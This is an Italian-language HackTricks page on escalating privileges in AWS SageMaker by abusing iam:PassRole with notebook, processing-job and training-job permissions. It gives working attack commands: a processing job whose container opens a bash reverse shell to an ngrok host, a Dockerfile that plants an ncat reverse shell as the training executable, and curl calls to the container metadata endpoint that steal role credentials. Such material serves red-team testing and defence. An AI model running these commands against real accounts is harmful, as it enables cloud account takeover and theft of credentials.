AWS - Sagemaker Privesc

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Inizia creando un notebook con il ruolo IAM per accedere ad esso allegato:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

La risposta dovrebbe contenere un campo NotebookInstanceArn, che conterrà l'ARN della nuova istanza del notebook. Possiamo quindi utilizzare l'API create-presigned-notebook-instance-url per generare un URL che possiamo utilizzare per accedere all'istanza del notebook una volta pronta:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Vai all'URL con il browser e fai clic su "Apri JupyterLab" in alto a destra, quindi scorri verso il basso fino alla scheda "Launcher" e sotto la sezione "Altro", fai clic sul pulsante "Terminale".

Ora è possibile accedere alle credenziali dei metadati del ruolo IAM.

Impatto potenziale: Privesc al ruolo del servizio Sagemaker specificato.

sagemaker:CreatePresignedNotebookInstanceUrl

Se ci sono già notebook Jupyter in esecuzione su di esso e puoi elencarli con sagemaker:ListNotebookInstances (o scoprirli in qualsiasi altro modo). Puoi generare un URL per accedervi e rubare le credenziali come indicato nella tecnica precedente.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potenziale Impatto: Privesc al ruolo del servizio Sagemaker collegato.

sagemaker:CreateProcessingJob,iam:PassRole

Un attaccante con queste autorizzazioni può fare in modo che Sagemaker esegua un job di elaborazione con un ruolo Sagemaker ad esso collegato. L'attaccante può indicare la definizione del container che verrà eseguito in un'istanza di un account AWS gestito da ECS e rubare le credenziali del ruolo IAM collegato.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Impatto potenziale: Privesc al ruolo del servizio Sagemaker specificato.

sagemaker:CreateTrainingJob, iam:PassRole

Un attaccante con queste autorizzazioni sarà in grado di creare un job di training, eseguendo un container arbitrario su di esso con un ruolo allegato ad esso. Di conseguenza, l'attaccante sarà in grado di rubare le credenziali del ruolo.

Questo scenario è più difficile da sfruttare rispetto al precedente perché è necessario generare un'immagine Docker che invierà la reverse shell o le credenziali direttamente all'attaccante (non è possibile indicare un comando di avvio nella configurazione del job di training).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potenziale Impatto:** Privesc al ruolo di servizio di Sagemaker specificato.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Un attaccante con queste autorizzazioni sarà (potenzialmente) in grado di creare un **job di addestramento degli iperparametri**, **eseguendo un contenitore arbitrario** su di esso con un **ruolo allegato** ad esso.\
Non ho sfruttato questa vulnerabilità a causa della mancanza di tempo, ma sembra simile agli exploit precedenti, sentiti libero di inviare una PR con i dettagli dello sfruttamento.

# Riferimenti
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Altri modi per supportare HackTricks:

* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.

</details>

Last updated